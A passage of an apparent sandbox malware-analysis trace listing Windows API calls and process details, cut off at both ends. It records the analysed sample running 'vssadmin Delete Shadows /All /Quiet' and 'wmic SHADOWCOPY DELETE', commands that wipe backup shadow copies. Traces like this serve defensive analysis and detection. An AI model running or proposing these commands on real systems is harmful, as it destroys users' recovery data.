_MaxCount=0x7) returned -13 [0072.456] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0072.456] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0072.456] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0072.456] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0072.456] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0072.456] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0072.456] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0072.456] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0072.456] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0072.456] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0072.456] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0072.456] GetProcessHeap () returned 0x242461a0000 [0072.456] RtlFreeHeap (HeapHandle=0x242461a0000, Flags=0x0, BaseAddress=0x242461a18a0) returned 1 [0072.456] GetProcessHeap () returned 0x242461a0000 [0072.456] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0x12) returned 0x242461a18a0 [0072.456] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1 [0072.457] _get_osfhandle (_FileHandle=1) returned 0x50 [0072.457] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x3) returned 1 [0073.430] _get_osfhandle (_FileHandle=0) returned 0x4c [0073.430] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1f7) returned 1 [0073.971] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin Delete Shadows /All /Quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xdb5d8ff450*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin Delete Shadows /All /Quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xdb5d8ff428 | out: lpCommandLine="vssadmin Delete Shadows /All /Quiet", lpProcessInformation=0xdb5d8ff428*(hProcess=0x9c, hThread=0x98, dwProcessId=0xee8, dwThreadId=0xfbc)) returned 1 [0074.275] CloseHandle (hObject=0x98) returned 1 [0074.275] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0074.276] GetProcessHeap () returned 0x242461a0000 [0074.276] RtlFreeHeap (HeapHandle=0x242461a0000, Flags=0x0, BaseAddress=0x242461a9a90) returned 1 [0074.276] GetEnvironmentStringsW () returned 0x242461a5a30* [0074.276] GetProcessHeap () returned 0x242461a0000 [0074.276] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0xacc) returned 0x242461a8fb0 [0074.276] FreeEnvironmentStringsA (penv="=") returned 1 [0074.276] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0 [0099.857] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0xdb5d8ff3a8 | out: lpExitCode=0xdb5d8ff3a8*=0x2) returned 1 [0099.857] CloseHandle (hObject=0x9c) returned 1 [0099.857] _vsnwprintf (in: _Buffer=0xdb5d8ff578, _BufferCount=0x13, _Format="%08X", _ArgList=0xdb5d8ff3b8 | out: _Buffer="00000002") returned 8 [0099.858] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0099.858] GetProcessHeap () returned 0x242461a0000 [0099.858] RtlFreeHeap (HeapHandle=0x242461a0000, Flags=0x0, BaseAddress=0x242461a8fb0) returned 1 [0099.858] GetEnvironmentStringsW () returned 0x242461a7ef0* [0099.858] GetProcessHeap () returned 0x242461a0000 [0099.858] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0xaf2) returned 0x242461a89f0 [0099.858] FreeEnvironmentStringsA (penv="=") returned 1 [0099.858] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0099.858] GetProcessHeap () returned 0x242461a0000 [0099.858] RtlFreeHeap (HeapHandle=0x242461a0000, Flags=0x0, BaseAddress=0x242461a89f0) returned 1 [0099.858] GetEnvironmentStringsW () returned 0x242461a7ef0* [0099.858] GetProcessHeap () returned 0x242461a0000 [0099.858] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0xaf2) returned 0x242461a89f0 [0099.858] FreeEnvironmentStringsA (penv="=") returned 1 [0099.858] GetProcessHeap () returned 0x242461a0000 [0099.858] RtlFreeHeap (HeapHandle=0x242461a0000, Flags=0x0, BaseAddress=0x242461a18a0) returned 1 [0099.858] DeleteProcThreadAttributeList (in: lpAttributeList=0xdb5d8ff530 | out: lpAttributeList=0xdb5d8ff530) [0099.858] ??_V@YAXPEAX@Z () returned 0x1 [0099.859] _get_osfhandle (_FileHandle=1) returned 0x50 [0099.859] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x3) returned 1 [0100.277] _get_osfhandle (_FileHandle=1) returned 0x50 [0100.277] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff60b30fc08 | out: lpMode=0x7ff60b30fc08) returned 1 [0100.903] _get_osfhandle (_FileHandle=1) returned 0x50 [0100.903] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0101.245] _get_osfhandle (_FileHandle=0) returned 0x4c [0101.245] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff60b30fc0c | out: lpMode=0x7ff60b30fc0c) returned 1 [0101.711] _get_osfhandle (_FileHandle=0) returned 0x4c [0101.711] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1e7) returned 1 [0102.071] SetConsoleInputExeNameW () returned 0x1 [0102.071] GetConsoleOutputCP () returned 0x1b5 [0103.105] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff60b30fbb0 | out: lpCPInfo=0x7ff60b30fbb0) returned 1 [0103.106] SetThreadUILanguage (LangId=0x0) returned 0x409 [0103.500] exit (_Code=2) Thread: id = 145 os_tid = 0xef4 Process: id = "6" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x3a151000" os_pid = "0x9fc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x824" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 130 os_tid = 0x47c Thread: id = 133 os_tid = 0x468 Thread: id = 134 os_tid = 0xf18 Thread: id = 136 os_tid = 0xfc4 Thread: id = 139 os_tid = 0x2e8 Process: id = "7" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x72660000" os_pid = "0xe98" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x270" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 131 os_tid = 0x6dc Thread: id = 132 os_tid = 0xd80 Thread: id = 135 os_tid = 0x8ac Thread: id = 142 os_tid = 0xfac Thread: id = 143 os_tid = 0xc48 Process: id = "8" image_name = "officec2rclient.exe" filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe" page_root = "0x12180000" os_pid = "0xa78" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x3c0" cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe\" /update SCHEDULEDTASK displaylevel=False" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xe], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wisvc" [0xe], "NT SERVICE\\wlidsvc" [0xe], "NT SERVICE\\WpnService" [0xe], "NT SERVICE\\wuauserv" [0xe], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 150 os_tid = 0xf98 Thread: id = 154 os_tid = 0x200 Thread: id = 189 os_tid = 0xcec Thread: id = 196 os_tid = 0xf74 Thread: id = 209 os_tid = 0xf94 Process: id = "9" image_name = "wmic.exe" filename = "c:\\windows\\system32\\wbem\\wmic.exe" page_root = "0x105e4000" os_pid = "0xa80" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x824" cmd_line = "wmic SHADOWCOPY DELETE" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 147 os_tid = 0xec4 [0075.179] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff640600000 [0075.179] __set_app_type (_Type=0x1) [0075.179] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff64063ec40) returned 0x0 [0075.180] __wgetmainargs (in: _Argc=0x7ff640667258, _Argv=0x7ff640667260, _Env=0x7ff640667268, _DoWildCard=0, _StartInfo=0x7ff640667274 | out: _Argc=0x7ff640667258, _Argv=0x7ff640667260, _Env=0x7ff640667268) returned 0 [0075.182] ??0CHString@@QEAA@XZ () returned 0x7ff6406679b0 [0075.183] malloc (_Size=0x30) returned 0x1a7025815a0 [0075.183] malloc (_Size=0x70) returned 0x1a7025815e0 [0075.183] malloc (_Size=0x50) returned 0x1a702581660 [0075.183] malloc (_Size=0x30) returned 0x1a7025816c0 [0075.183] malloc (_Size=0x48) returned 0x1a702581700 [0075.183] malloc (_Size=0x30) returned 0x1a702581750 [0075.183] malloc (_Size=0x30) returned 0x1a702586bd0 [0075.183] ??0CHString@@QEAA@XZ () returned 0x7ff640667e60 [0075.183] malloc (_Size=0x30) returned 0x1a702586c10 [0075.184] ?Empty@CHString@@QEAAXXZ () returned 0x7ff9295f674c [0075.184] SetConsoleCtrlHandler (HandlerRoutine=0x7ff640637ca0, Add=1) returned 1 [0075.184] _onexit (_Func=0x7ff6406491c0) returned 0x7ff6406491c0 [0075.184] _onexit (_Func=0x7ff6406492a0) returned 0x7ff6406492a0 [0075.185] _onexit (_Func=0x7ff6406492e0) returned 0x7ff6406492e0 [0075.185] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0075.185] ResolveDelayLoadedAPI () returned 0x7ff92fa5efc0 [0075.185] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0075.191] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0083.990] CoCreateInstance (in: rclsid=0x7ff640650608*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff640650618*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x7ff640667840 | out: ppv=0x7ff640667840*=0x1a70234bb20) returned 0x0 [0084.344] GetCurrentProcess () returned 0xffffffffffffffff [0084.344] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x44bcc7fb30 | out: TokenHandle=0x44bcc7fb30*=0x160) returned 1 [0084.344] GetTokenInformation (in: TokenHandle=0x160, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x44bcc7fb28 | out: TokenInformation=0x0, ReturnLength=0x44bcc7fb28) returned 0 [0084.344] malloc (_Size=0x118) returned 0x1a702585a70 [0084.344] GetTokenInformation (in: TokenHandle=0x160, TokenInformationClass=0x3, TokenInformation=0x1a702585a70, TokenInformationLength=0x118, ReturnLength=0x44bcc7fb28 | out: TokenInformation=0x1a702585a70, ReturnLength=0x44bcc7fb28) returned 1 [0084.344] AdjustTokenPrivileges (in: TokenHandle=0x160, DisableAllPrivileges=0, NewState=0x1a702585a70*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=-543577254, Attributes=0x1d14), (Luid.LowPart=0x1a7, Luid.HighPart=39321936, Attributes=0x1a7), (Luid.LowPart=0x6e0049, Luid.HighPart=6619252, Attributes=0x6c), (Luid.LowPart=0x43004f, Luid.HighPart=5439557, Attributes=0x4f0053), (Luid.LowPart=0x45004c, Luid.HighPart=4522070, Attributes=0x3d004c), (Luid.LowPart=0x520050, Luid.HighPart=4390991, Attributes=0x530045))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0084.344] free (_Block=0x1a702585a70) [0084.344] CloseHandle (hObject=0x160) returned 1 [0084.345] malloc (_Size=0x40) returned 0x1a702585a70 [0084.346] malloc (_Size=0x40) returned 0x1a702585ac0 [0084.346] malloc (_Size=0x40) returned 0x1a702585b10 [0084.346] SetThreadUILanguage (LangId=0x0) returned 0x409 [0084.653] _vsnwprintf (in: _Buffer=0x1a702585b10, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x44bcc7f838 | out: _Buffer="ms_409") returned 6 [0084.653] malloc (_Size=0x20) returned 0x1a702585b60 [0084.653] GetComputerNameW (in: lpBuffer=0x1a702585b60, nSize=0x44bcc7fb38 | out: lpBuffer="NQDPDE", nSize=0x44bcc7fb38) returned 1 [0084.653] lstrlenW (lpString="NQDPDE") returned 6 [0084.653] malloc (_Size=0xe) returned 0x1a702585b90 [0084.653] lstrlenW (lpString="NQDPDE") returned 6 [0084.653] ResolveDelayLoadedAPI () returned 0x7ff92e2e6960 [0084.654] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x44bcc7fb30 | out: lpNameBuffer=0x0, nSize=0x44bcc7fb30) returned 0x0 [0084.656] GetLastError () returned 0xea [0084.656] malloc (_Size=0x1e) returned 0x1a702585bb0 [0084.656] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1a702585bb0, nSize=0x44bcc7fb30 | out: lpNameBuffer="NQDPDE\\FD1HVy", nSize=0x44bcc7fb30) returned 0x1 [0084.657] lstrlenW (lpString="") returned 0 [0084.657] lstrlenW (lpString="NQDPDE") returned 6 [0084.657] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="", cchCount2=0) returned 3 [0084.658] lstrlenW (lpString=".") returned 1 [0084.659] lstrlenW (lpString="NQDPDE") returned 6 [0084.659] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2=".", cchCount2=1) returned 3 [0084.659] lstrlenW (lpString="LOCALHOST") returned 9 [0084.659] lstrlenW (lpString="NQDPDE") returned 6 [0084.659] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="LOCALHOST", cchCount2=9) returned 3 [0084.659] lstrlenW (lpString="NQDPDE") returned 6 [0084.659] lstrlenW (lpString="NQDPDE") returned 6 [0084.659] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="NQDPDE", cchCount2=6) returned 2 [0084.659] free (_Block=0x1a702585b90) [0084.659] lstrlenW (lpString="NQDPDE") returned 6 [0084.659] malloc (_Size=0xe) returned 0x1a702585b90 [0084.659] lstrlenW (lpString="NQDPDE") returned 6 [0084.659] lstrlenW (lpString="NQDPDE") returned 6 [0084.659] malloc (_Size=0xe) returned 0x1a702585be0 [0084.659] lstrlenW (lpString="NQDPDE") returned 6 [0084.659] malloc (_Size=0x8) returned 0x1a702585c00 [0084.659] malloc (_Size=0x18) returned 0x1a702585c20 [0084.659] ResolveDelayLoadedAPI () returned 0x7ff931c1cdb0 [0084.666] malloc (_Size=0x30) returned 0x1a702585c40 [0084.666] malloc (_Size=0x18) returned 0x1a702585c80 [0084.666] SysStringLen (param_1="IDENTIFY") returned 0x8 [0084.666] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0084.666] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0084.666] SysStringLen (param_1="IDENTIFY") returned 0x8 [0084.666] malloc (_Size=0x30) returned 0x1a702585ca0 [0084.666] malloc (_Size=0x18) returned 0x1a702585ce0 [0084.666] SysStringLen (param_1="IMPERSONATE") returned 0xb [0084.666] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0084.666] SysStringLen (param_1="IMPERSONATE") returned 0xb [0084.666] SysStringLen (param_1="IDENTIFY") returned 0x8 [0084.666] SysStringLen (param_1="IDENTIFY") returned 0x8 [0084.666] SysStringLen (param_1="IMPERSONATE") returned 0xb [0084.666] malloc (_Size=0x30) returned 0x1a702585d00 [0084.667] malloc (_Size=0x18) returned 0x1a702585d40 [0084.667] SysStringLen (param_1="DELEGATE") returned 0x8 [0084.667] SysStringLen (param_1="IDENTIFY") returned 0x8 [0084.667] SysStringLen (param_1="DELEGATE") returned 0x8 [0084.667] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0084.667] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0084.667] SysStringLen (param_1="DELEGATE") returned 0x8 [0084.667] malloc (_Size=0x30) returned 0x1a702585d60 [0084.667] malloc (_Size=0x18) returned 0x1a702585da0 [0084.667] malloc (_Size=0x30) returned 0x1a702585dc0 [0084.667] malloc (_Size=0x18) returned 0x1a702585e00 [0084.667] SysStringLen (param_1="NONE") returned 0x4 [0084.667] SysStringLen (param_1="DEFAULT") returned 0x7 [0084.667] SysStringLen (param_1="DEFAULT") returned 0x7 [0084.667] SysStringLen (param_1="NONE") returned 0x4 [0084.667] malloc (_Size=0x30) returned 0x1a702585e20 [0084.667] malloc (_Size=0x18) returned 0x1a702585e60 [0084.667] SysStringLen (param_1="CONNECT") returned 0x7 [0084.667] SysStringLen (param_1="DEFAULT") returned 0x7 [0084.667] malloc (_Size=0x30) returned 0x1a702585e80 [0084.667] malloc (_Size=0x18) returned 0x1a702585ec0 [0084.667] SysStringLen (param_1="CALL") returned 0x4 [0084.667] SysStringLen (param_1="DEFAULT") returned 0x7 [0084.667] SysStringLen (param_1="CALL") returned 0x4 [0084.667] SysStringLen (param_1="CONNECT") returned 0x7 [0084.667] malloc (_Size=0x30) returned 0x1a702585ee0 [0084.667] malloc (_Size=0x18) returned 0x1a702585f20 [0084.667] SysStringLen (param_1="PKT") returned 0x3 [0084.667] SysStringLen (param_1="DEFAULT") returned 0x7 [0084.667] SysStringLen (param_1="PKT") returned 0x3 [0084.667] SysStringLen (param_1="NONE") returned 0x4 [0084.667] SysStringLen (param_1="NONE") returned 0x4 [0084.667] SysStringLen (param_1="PKT") returned 0x3 [0084.667] malloc (_Size=0x30) returned 0x1a702585f40 [0084.667] malloc (_Size=0x18) returned 0x1a702585f80 [0084.668] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0084.668] SysStringLen (param_1="DEFAULT") returned 0x7 [0084.668] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0084.668] SysStringLen (param_1="NONE") returned 0x4 [0084.668] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0084.668] SysStringLen (param_1="PKT") returned 0x3 [0084.668] SysStringLen (param_1="PKT") returned 0x3 [0084.668] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0084.668] malloc (_Size=0x30) returned 0x1a70258a820 [0084.668] malloc (_Size=0x18) returned 0x1a702585fa0 [0084.668] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0084.668] SysStringLen (param_1="DEFAULT") returned 0x7 [0084.668] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0084.668] SysStringLen (param_1="PKT") returned 0x3 [0084.668] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0084.668] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0084.668] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0084.668] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0084.668] malloc (_Size=0x30) returned 0x1a70258a4a0 [0084.668] malloc (_Size=0x40) returned 0x1a70258afe0 [0084.668] malloc (_Size=0x20a) returned 0x1a70258b030 [0084.668] GetSystemDirectoryW (in: lpBuffer=0x1a70258b030, uSize=0x105 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0084.668] free (_Block=0x1a70258b030) [0084.668] malloc (_Size=0x18) returned 0x1a702585fc0 [0084.668] malloc (_Size=0x18) returned 0x1a702585fe0 [0084.668] malloc (_Size=0x18) returned 0x1a70258b030 [0084.668] SysStringLen (param_1="C:\\WINDOWS\\system32") returned 0x13 [0084.668] SysStringLen (param_1="\\wbem\\") returned 0x6 [0084.669] free (_Block=0x1a702585fc0) [0084.669] free (_Block=0x1a702585fe0) [0084.669] SysStringByteLen (bstr="C:\\WINDOWS\\system32\\wbem\\") returned 0x32 [0084.669] free (_Block=0x1a70258b030) [0084.669] malloc (_Size=0x18) returned 0x1a70258b220 [0084.669] malloc (_Size=0x18) returned 0x1a70258b0c0 [0084.669] malloc (_Size=0x18) returned 0x1a70258b2a0 [0084.669] SysStringLen (param_1="C:\\WINDOWS\\system32\\wbem\\") returned 0x19 [0084.669] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0084.669] free (_Block=0x1a70258b220) [0084.669] free (_Block=0x1a70258b0c0) [0084.669] GetCurrentThreadId () returned 0xec4 [0084.669] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x44bcc7f440 | out: phkResult=0x44bcc7f440*=0x168) returned 0x0 [0084.669] RegQueryValueExW (in: hKey=0x168, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x44bcc7f490, lpcbData=0x44bcc7f430*=0x400 | out: lpType=0x0, lpData=0x44bcc7f490*=0x30, lpcbData=0x44bcc7f430*=0x4) returned 0x0 [0084.669] _wcsicmp (_String1="0", _String2="1") returned -1 [0084.669] _wcsicmp (_String1="0", _String2="2") returned -2 [0084.669] RegQueryValueExW (in: hKey=0x168, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x44bcc7f430*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x44bcc7f430*=0x42) returned 0x0 [0084.669] malloc (_Size=0x86) returned 0x1a70258b440 [0084.669] RegQueryValueExW (in: hKey=0x168, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x1a70258b440, lpcbData=0x44bcc7f430*=0x42 | out: lpType=0x0, lpData=0x1a70258b440*=0x25, lpcbData=0x44bcc7f430*=0x42) returned 0x0 [0084.669] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0084.669] malloc (_Size=0x42) returned 0x1a70258b4d0 [0084.669] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0084.670] RegQueryValueExW (in: hKey=0x168, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x44bcc7f490, lpcbData=0x44bcc7f430*=0x400 | out: lpType=0x0, lpData=0x44bcc7f490*=0x36, lpcbData=0x44bcc7f430*=0xc) returned 0x0 [0084.670] _wtol (_String="65536") returned 65536 [0084.670] free (_Block=0x1a70258b440) [0084.670] RegCloseKey (hKey=0x0) returned 0x6 [0084.670] CoCreateInstance (in: rclsid=0x7ff640650668*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff640650678*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x44bcc7f930 | out: ppv=0x44bcc7f930*=0x1a702326f20) returned 0x0 [0085.214] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x1a702326f20, xmlSource=0x44bcc7fa70*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\WINDOWS\\system32\\wbem\\XSL-Mappings.xml", 